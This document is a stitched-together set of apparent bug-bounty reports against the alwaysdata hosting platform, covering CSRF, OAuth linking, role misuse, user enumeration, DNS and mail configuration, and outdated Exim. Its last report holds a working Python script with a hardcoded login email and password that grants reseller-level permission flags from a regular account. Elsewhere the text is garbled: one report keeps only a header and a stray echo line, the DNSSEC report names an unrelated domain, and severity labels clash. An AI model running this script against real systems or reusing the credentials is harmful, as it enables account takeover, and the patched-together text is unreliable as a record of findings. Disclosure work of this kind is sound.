The application is vulnerable to Cross-Site Request Forgery (CSRF) on the notification "Seen" endpoint. An attacker can craft a malicious HTML page that silently triggers the notification "seen" request from a victim's browser while the victim is authenticated.

Because the endpoint accepts the request without validating a CSRF token or verifying the request origin, the victim's notification status is changed without their knowledge or consent.

Although this does not expose sensitive information, it allows unauthorized modification of user data, violating the integrity of the victim's account.

CVSS v3.1 → Score: 4.3 (Medium)

Steps to Reproduce

1. Login to Attacker Account (Account A) using Firefox.

1. Navigate to Notifications.

1. Ensure at least one notification is available.

1. Enable Burp Suite Intercept.

1. Click Seen on a notification.

1. Capture the request.

1. Send the request to Burp Engagement Tools.

1. Generate a CSRF PoC.

1. Modify the generated PoC by changing:

method="POST" to method="GET"

1. Save the HTML file.

1. Login to Victim Account (Account B) using another browser (Chrome).

1. Ensure the victim has at least one unread notification.

1. Open the generated CSRF PoC in the victim's browser.

1. Click Submit Request.

1. Observe that the victim's notification is automatically marked as Seen without the victim performing the action.

Actual Behaviour

1. The notification is marked as Seen in the victim's account simply by visiting and submitting the attacker-controlled HTML page.

1. No CSRF protection, Origin validation, or SameSite-based mitigation prevents the request.

Expected Behaviour

1. The server should reject any state-changing request that does not contain a valid CSRF token and should verify the request originates from a trusted source.

1. Only the authenticated user performing the action from the legitimate application should be able to mark notifications as Seen.

Impact

1. Unauthorized modification of notification status.

1. Attackers can manipulate notification state without user consent.

1. Users may miss important notifications because they appear as already read.

1. Demonstrates missing CSRF protection on a state-changing endpoint.

1. Indicates other sensitive endpoints may also be vulnerable to CSRF.

Business Impact

1. Loss of integrity of user account data.

1. Important alerts, security notifications, or business messages may be marked as read without the user's knowledge.

1. Reduced user trust due to unauthorized account actions.

1. Reveals a security control weakness that could affect higher-risk endpoints if the same protection is missing elsewhere.

Remediation

1. Implement anti-CSRF tokens for all state-changing requests.

1. Validate the Origin and Referer headers.

1. Use SameSite=Lax or preferably SameSite=Strict for session cookies where appropriate.

1. Ensure endpoints that modify data only accept the intended HTTP method (e.g., POST) and cannot be invoked via GET.

1. Follow the Synchronizer Token Pattern or another robust CSRF defense mechanism across the application.

Video Proof of Concept:

Google Drive link → https://drive.google.com/drive/folders/1v9Y7TFbgv-FFztKX23aL_ZNkDu3GCqWT?usp=drive_link

Conclusion

The notification "Seen" endpoint lacks proper CSRF protection, allowing an attacker to force authenticated users to unknowingly mark their notifications as read. While the immediate impact is limited to unauthorized state modification, it represents a clear integrity issue and indicates that CSRF protections may be absent from other state-changing endpoints. Implementing standard CSRF defenses will prevent unauthorized cross-site requests and strengthen the application's overall security posture.

Thanks

Severity: High
CVSS 4.0 vector: `CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N`
CVSS 4.0 score: ~8.2 (High)
Target: `ssh-<account>.alwaysdata.net` (physical SSH host `ssh1`) and the web-application hosts (`http21`) — kernel `6.18.30-alwaysdata`
Type: CWE-668 (Exposure of Resource to Wrong Sphere) / CWE-732 (Incorrect Permission Assignment) / CWE-200

Description

 `echo "SECRET_OF_A" > /tmp/canary_A.txt`

Impact

Remediation

Register a new account using Email and Password.
Do not verify the email address.
Log out of the account.
Select Sign in with Google.
Authenticate using the same Google account associated with the registered email address.
Observe that the application sends the following notification: A (Google) OAuth connection has been configured on your profile.
Follow the OAuth authentication flow.
The application redirects to: /oauth/google/callback/
Observe that the endpoint returns: 404 - Page Not Found
Open a new browser session and attempt to log in using the original email and password.
The application still requires email verification before allowing password-based authentication. Observed Behavior • Google OAuth successfully links to the account before email verification is completed. • Email/password authentication continues to require email verification. • OAuth callback results in a 404 response, indicating an incomplete or inconsistent authentication flow. Expected Behavior The application should verify ownership of the registered email address before permitting external identity providers (such as Google OAuth) to be linked with the account, unless this behavior is explicitly intended. If OAuth login is intended to satisfy email ownership verification, the application should consistently mark the account as verified and complete the authentication flow without errors. Security Impact Depending on the intended authentication design, this behavior may result in: • Inconsistent authentication state. • Improper account-linking logic. • Potential bypass of email verification requirements. • Confusion regarding account ownership validation. • Increased attack surface if account-linking validation is not consistently enforced. Although I did not observe direct account takeover during testing, the current behavior indicates that the account verification and OAuth linking processes may not be consistently enforced. Recommendation I recommend reviewing the OAuth account-linking workflow to ensure that: • Email ownership verification is consistently enforced before linking external identity providers, or • Successful OAuth authentication is explicitly treated as verified email ownership and the account state is updated accordingly. • OAuth callback endpoints are correctly configured to prevent unexpected 404 responses. • Account verification logic remains consistent across all supported authentication methods. Conclusion The observed behavior suggests an inconsistency between the traditional email verification process and Google OAuth account linking. Reviewing the authentication workflow and enforcing consistent account verification logic will help reduce the risk of authentication-related issues and improve the overall security posture of the platform. This report is submitted under responsible disclosure. I would be happy to provide any additional information or assist with validation if required. Kind regards, Cyber_Subhash

Log in as an account administrator.
Invite a new user with only the Billing Contact permission.
Log in using the Billing Contact account.
Navigate to the user or team management section.
Observe that the Billing Contact user is able to access the Invite User functionality.
Successfully initiate an invitation for another user. Expected Behavior A user assigned only the Billing Contact role should be restricted to billing-related operations and should not be able to invite or manage additional users unless explicitly intended by the role design. Actual Behavior The Billing Contact role is able to invite new users despite being intended for billing-related access. Security Impact If this behavior is not intended, it may allow: • Unauthorized user invitations. • Expansion of account access without administrator approval. • Circumvention of role separation. • Violation of the Principle of Least Privilege. • Increased risk of unauthorized account access. The overall impact depends on the permissions that can be granted to invited users. If elevated roles can be assigned, the security impact could be significantly higher. Recommendation To mitigate this issue, I recommend: • Restricting the Invite User functionality to administrative or dedicated user-management roles. • Reviewing role-based access control (RBAC) permissions to ensure Billing Contact users are limited to billing operations only. • Enforcing server-side authorization checks for all user management actions. • Verifying that non-administrative roles cannot perform account management functions unless explicitly intended. Conclusion The observed behavior suggests that the Billing Contact role may have broader privileges than expected by allowing user invitations. If this is not intended behavior, restricting user management capabilities to authorized administrative roles would improve the application’s access control model and better align with the Principle of Least Privilege. This report is submitted under responsible disclosure. I would be happy to provide additional information or assist with validation if required. Kind regards, Cyber_Subhash Security Researcher

I hope you are doing well.

I would like to responsibly disclose a security issue identified in the password reset functionality of your application. During testing, I observed that the application returns different responses for registered and non-registered email addresses, which allows an attacker to determine whether a specific email address is associated with a valid user account.

Severity:Medium

Category: Information Disclosure / User Enumeration

Description

The password reset endpoint responds differently based on whether the submitted email address exists in the system.

When a registered email address is entered, the application returns a successful password reset response. However, when an unregistered email address is submitted, the application returns a different error message indicating that the email address does not exist.

This behavior enables an attacker to enumerate valid user accounts by submitting multiple email addresses and comparing the application’s responses.

Steps to Reproduce

Navigate to the **Forgot Password page.
Enter a valid, registered email address.
Observe the success response indicating that a password reset email has been sent.
Repeat the process using an email address that is not registered.
Observe that the application returns a different response indicating that the email address does not exist.
Compare both responses and note that they reveal whether an email address is registered.
Proof of Concept

Registered Email

Email: registered@example.com

Response:
"If an account exists, a password reset link has been sent."
Unregistered Email

Email: randomuser@example.com

Response:
"Email address not found."
The difference in these responses allows an attacker to identify valid user accounts.

Security Impact

An attacker can exploit this behavior to:

Enumerate valid user accounts. Identify registered email addresses. Facilitate targeted phishing campaigns. Support credential stuffing or password spraying attacks. Gather intelligence for further attacks against identified users.

Although this issue does not directly expose user credentials, it increases the effectiveness of subsequent attacks by revealing valid account information.

Recommendation

To mitigate this issue:

Return the same generic response regardless of whether the email address exists. Use a consistent HTTP status code for both scenarios. Ensure response bodies, headers, and response timing are as similar as possible. A recommended response is:

“If an account exists for the provided email address, a password reset email will be sent.”

This approach prevents attackers from distinguishing between registered and unregistered email addresses.

Conclusion
The password reset functionality currently discloses account existence through differing responses. Standardizing the application’s responses for both valid and invalid email addresses will effectively prevent user enumeration and improve the overall security posture of the application.

I am submitting this report under responsible disclosure and would be happy to provide any additional information or assist with validation if required.

Kind regards,

Cyber_Subhash Security Researcher

However, the current implementation for alwaysdata.com is incomplete and improperly configured, rendering DNSSEC ineffective and exposing the domain to potential exploitation.

Findings: Upon detailed analysis of the domain’s DNS records, the following issues were identified:

Unsigned DS Records: The Delegation Signer (DS) records in the parent zone are not correctly signed, breaking the essential chain of trust required for DNSSEC validation. Properly signed DS records are necessary to ensure the integrity of DNS queries.

Invalid RRSIG Records: Several Resource Record Signature (RRSIG) entries in the DNS zone are invalid, indicating key management or signing process failures. These invalid signatures compromise the authenticity and integrity guarantees provided by DNSSEC.

DNSKEY Mismatch: A mismatch exists between the DNSKEY records in the domain’s DNSKEY RRset and those provided in the delegation response from the parent zone. This inconsistency weakens the DNSSEC chain of trust, making the domain susceptible to tampering.

Steps to Reproduce:

Navigate to the DNSSEC debugging tool: https://dnssec-debugger.verisignlabs.com

Enter the domain alwaysdata.com for analysis.

Observe the red-highlighted errors indicating DNSSEC misconfigurations and missing or invalid DNSSEC records.

Impact: Due to these misconfigurations, the domain ballerina.io is vulnerable to several security risks, including:

DNS Cache Poisoning: Attackers can inject forged DNS responses, redirecting users to malicious sites.

Man-in-the-Middle Attacks: Without valid DNSSEC validation, attackers can intercept and alter DNS responses.

Domain Impersonation: Weak or broken DNSSEC allows attackers to impersonate legitimate services under the domain.

Data Tampering: DNS records could be modified, leading to data leaks or loss of service integrity.

Reputation Damage: A compromised DNS configuration undermines user trust and damages the organization’s credibility.

The application https://admin.alwaysdata.com/login/ does not validate the number of active sessions per user, allowing multiple concurrent logins without any limitations. Additionally, the application fails to notify users when a new session is initiated from a different location or device. This issue poses significant security risks, especially in areas handling sensitive data, such as admin panels or personal user accounts.

Steps to Reproduce:

Login from Device A :

Navigate to https://admin.alwaysdata.com/login/ Enter valid credentials and log in.
Login from Device B :

Using a different device or browser (e.g., mobile phone or another computer), navigate to https://admin.alwaysdata.com/login/ Log in with the same user credentials used in Step 1.
Verify Active Sessions:

Observe that both sessions remain active simultaneously.
Note that the application does not notify the user about the new session from a different location/device.
Actual Behavior:

The application allows multiple concurrent sessions for a single user account without any limitations.
No notifications are sent to the user when a new session is initiated from a different location or device.
There is no mechanism to monitor or manage active sessions within the user account.
Expected Behavior:

The application should limit the number of active sessions per user to enhance security.
Users should receive notifications when a new session is initiated from a different location or device.
A session management page should be provided, allowing users to view and terminate active sessions.
Impact:

Non-Repudiation Risks : The lack of session notifications and limitations can lead to unauthorized access and actions that are difficult to dispute.
Increased Vulnerability : Multiple concurrent sessions increase the risk of unauthorized access, especially if one of the sessions is compromised.
Remediation:

User Notification : Notify users when a new session is initiated, especially from a different location or device, to raise awareness of active sessions.

Session Management Page : Provide users with a dedicated session management page to view and terminate active sessions for enhanced control.

IP Address Tracking and Restrictions :

Track the IP addresses associated with each session and flag any suspicious activity, such as multiple logins from different locations.
Allow users to specify trusted IP addresses or ranges, restricting session initiation to known and approved locations.

Expected Behavior: The MTA-STS record should be correctly configured and published in the DNS records for the domain [Domain Name]. It is essential for secure email communication and enforcing TLS encryption for all incoming and outgoing email traffic.

Steps to Reproduce:

Navigate this url https://easydmarc.com/tools/mta-sts-check and enter your domain name alwaysdata.com

Observe the absence of the MTA-STS record in the DNS response. No record was found, indicating that the MTA-STS record is not present in the DNS configuration.

Impact: The absence of an MTA-STS record leaves the email infrastructure vulnerable to various security risks, such as downgrade attacks, man-in-the-middle attacks, and interception of sensitive email content. Without the MTA-STS mechanism in place, email communications may be transmitted over unencrypted channels, compromising the confidentiality and integrity of the data.

Asset 3 IP Address: 78.142.219.5 Hostname: overlord-core.paris2.alwaysdata.com Supported TLS Versions • TLS 1.2 • TLS 1.3 Technical Description The SMTP servers publicly disclose Exim version 4.96 through the SMTP banner. According to publicly available Exim security advisories, this version predates several security fixes released during 2023–2026. Depending on the exact build, enabled modules, and runtime configuration, the deployment may be affected by multiple security vulnerabilities. These issues include unsafe memory handling, improper input validation, authentication-related flaws, MIME parsing issues, SMTP protocol parsing weaknesses, JSON parsing bugs, UTF-8 processing vulnerabilities, and DNS handling issues. Collectively, these weaknesses increase the attack surface of the mail infrastructure and may allow attackers to compromise confidentiality, integrity, or availability under specific conditions. Potentially Applicable CVEs Critical Remote Code Execution • CVE-2023-42115 • CVE-2023-42116 • CVE-2023-42117 These vulnerabilities involve memory corruption and insufficient validation of SMTP data, potentially allowing unauthenticated remote attackers to execute arbitrary code under vulnerable configurations. Privilege Escalation • CVE-2025-30232 A use-after-free vulnerability that may allow local privilege escalation under affected deployments. Information Disclosure • CVE-2026-48840 • CVE-2026-40687 • CVE-2026-40686 • CVE-2023-42119 • CVE-2023-42114 These vulnerabilities may expose process memory, heap contents, or sensitive information through malformed protocol interactions. Memory Corruption • CVE-2026-40685 • CVE-2025-67896 These issues involve heap corruption or out-of-bounds memory operations that may lead to crashes or code execution depending on the deployment. SMTP Security Issues • CVE-2023-51766 (SMTP Smuggling) • CVE-2024-39929 (RFC2231 MIME Parsing) These vulnerabilities may enable email spoofing, bypass of SPF-related protections, or delivery of blocked attachments under specific mail flow configurations. Denial of Service • CVE-2026-40684 • CVE-2022-3620 • CVE-2022-3559 These vulnerabilities may allow attackers to trigger service crashes or otherwise reduce SMTP service availability. Security Impact If the affected version is confirmed and the vulnerable functionality is enabled, successful exploitation could potentially result in: • Remote Code Execution (RCE) • SMTP Server Compromise • Privilege Escalation • Information Disclosure • Heap or Stack Memory Corruption • SMTP Smuggling • Email Spoofing • SPF Protection Bypass • Delivery of Malicious Attachments • Denial of Service (DoS) The actual impact depends on the deployed Exim configuration and whether the relevant vulnerable components are enabled. Recommendation I recommend the following remediation steps:

Upgrade Exim to the latest supported stable release.
Apply all vendor security patches.
Verify that the SMTP servers are no longer exposing outdated Exim versions.
Review enabled authentication mechanisms and optional Exim modules.
Validate that all publicly disclosed Exim vulnerabilities affecting the deployed version have been remediated.
Perform a post-upgrade security verification to ensure the service is no longer affected. Conclusion The observed SMTP infrastructure publicly identifies itself as running Exim 4.96, a version associated with multiple publicly disclosed security vulnerabilities. While additional validation is required to determine which vulnerabilities are exploitable in your specific environment, upgrading to the latest supported release is strongly recommended to reduce the attack surface and maintain a secure mail infrastructure. This report is submitted in the spirit of responsible disclosure. I would be happy to provide any additional information if required. Kind regards, Cyber_Subhash Security Researcher

—

## Submission Details

—

## 1. Description

alwaysdata's permission system allows account owners to delegate access to other users. The permissions creation form at `/permissions/add/` exposes reseller-level flags to all customers, including regular (non-reseller) accounts.

Reseller flags identified: - `customer_full_accounts` - grants access to manage all customer accounts on the platform
- `customer_full_servers` - grants access to manage all server configurations on the platform

The vulnerability: The server accepts these flags from any account, regardless of whether the submitting account has reseller privileges. A regular customer can create a permission record with these flags active (HTTP 302), and the flags are saved as "checked" (active) in the permission details.

—

## 2. Test Environment

—

## 3. Steps to Reproduce

### Step 1: Verify Account is Regular Customer

# Check account type in profile
GET https://admin.alwaysdata.com/profile/

Result: Account confirmed as regular customer (no reseller privileges).

### Step 2: Access Permissions Add Page

GET https://admin.alwaysdata.com/permissions/add/

Result: Page loads with permission checkboxes.

### Step 3: Locate Reseller Flags

The page contains reseller-level checkboxes:
- `customer_full_accounts`
- `customer_full_servers`

### Step 4: Submit Reseller Flags

Request:

POST /permissions/add/ HTTP/2
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=...

csrfmiddlewaretoken=...&
customer_full_accounts=on&
customer_full_servers=on&
email=test_1782361132@example.com

Response:

HTTP/2 302 Found
Location: /permissions/
Set-Cookie: messages=...Successfully created...

### Step 5: Verify Permission Created

GET https://admin.alwaysdata.com/permissions/469280/

Response:

Permission 469280 details:
- customer_full_accounts: checked (active)
- customer_full_servers: checked (active)
- Grantee: test_1782361132@example.com

—

## 4. Proof of Concept

### Python PoC Script

import requests
import re
import time

EMAIL = "michenhenryyissuehunt@gmail.com"
PASSWORD = "Cyberzod@123"

s = requests.Session()
s.headers.update({
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
})

# Login
login_page = s.get("https://admin.alwaysdata.com/login/")
csrf_login = login_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]

s.post(
    "https://admin.alwaysdata.com/login/",
    data={
        "csrfmiddlewaretoken": csrf_login,
        "login": EMAIL,
        "password": PASSWORD,
        "alive": "on"
    }
)

# Get permissions page
add_page = s.get("https://admin.alwaysdata.com/permissions/add/")
csrf = add_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]

# Create permission with reseller flags
test_email = f"test_{int(time.time())}@example.com"

r = s.post(
    "https://admin.alwaysdata.com/permissions/add/",
    data={
        "csrfmiddlewaretoken": csrf,
        "customer_full_accounts": "on",
        "customer_full_servers": "on",
        "email": test_email,
    },
    allow_redirects=False
)

print(f"Status: {r.status_code}")  # 302

# Verify permission was created
permissions_page = s.get("https://admin.alwaysdata.com/permissions/")
perm_ids = re.findall(r'/permissions?/(\d+)/', permissions_page.text)
perm_id = max(perm_ids, key=lambda x: int(x))

detail_page = s.get(f"https://admin.alwaysdata.com/permissions/{perm_id}/")

has_cfa = 'customer_full_accounts' in detail_page.text and 'checked' in detail_page.text
has_cfs = 'customer_full_servers' in detail_page.text and 'checked' in detail_page.text

print(f"customer_full_accounts active: {has_cfa}")  # True
print(f"customer_full_servers active: {has_cfs}")   # True

### PoC Output

Status: 302
customer_full_accounts active: True
customer_full_servers active: True

—

## 5. Evidence Summary

—

## 6. Impact

### Immediate Impact

### Attack Chain

1. Regular customer (cyberzod) creates permission with reseller flags

 └─ customer_full_accounts=on, customer_full_servers=on
 └─ email=attacker@example.com

2. Attacker (attacker@example.com) accepts the permission

3. Attacker gains reseller-level privileges

 └─ Can access ALL customer accounts
 └─ Can access ALL server configurations
 └─ Can view/modify ALL customer data

### Business Impact

- Reputation Damage: Platform trust compromised
- Data Breach: All customer data potentially exposed
- Regulatory: GDPR/CCPA violations possible
- Financial: Customer churn, legal liability

—

## 7. CVSS Score Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Score: 8.0 (High)

—

## 8. Remediation Recommendations

### 1. Server-Side Role Validation

def create_permission(request):
    # Validate that only resellers can set reseller flags
    if not request.user.is_reseller:
        if request.POST.get('customer_full_accounts') or request.POST.get('customer_full_servers'):
            raise PermissionDenied("Reseller-level permissions require a reseller account")
    
    # Continue with permission creation
    ...

### 2. Hide Reseller Flags from Regular Users

{% if user.is_reseller %}
    <input type="checkbox" name="customer_full_accounts">
    <input type="checkbox" name="customer_full_servers">
{% endif %}

### 3. Implement Proper RBAC

Customer Roles:
├── Regular User
│ ├── account_full
│ ├── site_full
│ └── database_full
├── Reseller
│ ├── customer_full_accounts
│ ├── customer_full_servers
│ └── ALL regular permissions
└── Admin

  ├── ALL reseller permissions
  └── Platform-wide privileges

### 4. Audit Existing Permissions

- Review all permissions with `customer_full_accounts` or `customer_full_servers`
- Verify they were created by legitimate resellers
- Remove any created by regular customers

—

## 9. Proof of Concept Screenshots

### Screenshot 1: Regular Account (No Reseller Privileges)

Account: cyberzod
Account Type: Regular Customer
Reseller Status: False

### Screenshot 2: Reseller Flags Found

📝 All checkbox fields:

1. customer_full_accounts
2. customer_full_servers
3. account_full
4. site_full
5. database_full
6. […]

### Screenshot 3: Submission Accepted (302)

Response Status: 302
Location: /permissions/
Message: Successfully created.

### Screenshot 4: Permission Created with Active Flags

Permission ID: 469280
customer_full_accounts: ✅ checked (active)
customer_full_servers: ✅ checked (active)
Grantee: test_1782361132@example.com

—

## 10. Affected Accounts

All regular customer accounts on the platform are affected.

—

## 11. References

- CWE-269: https://cwe.mitre.org/data/definitions/269.html - OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/ - OWASP Privilege Escalation: https://owasp.org/www-community/attacks/Privilege_escalation

—

## 12. Cleanup Confirmation

# Permission deleted
DELETE /permissions/469280/delete/
Response: 302 Found

—

## 13. Contact Information

—

## 14. Conclusion

Finding is CONFIRMED.

A regular (non-reseller) customer account can:
1. ✅ See reseller-level permission flags in the UI
2. ✅ Submit reseller flags and receive HTTP 302
3. ✅ Create permission records with reseller flags active
4. ✅ Grant reseller-level access to any email address

This vulnerability enables privilege escalation from a regular customer account to platform-wide reseller access, potentially affecting all customers and server configurations on the platform.

—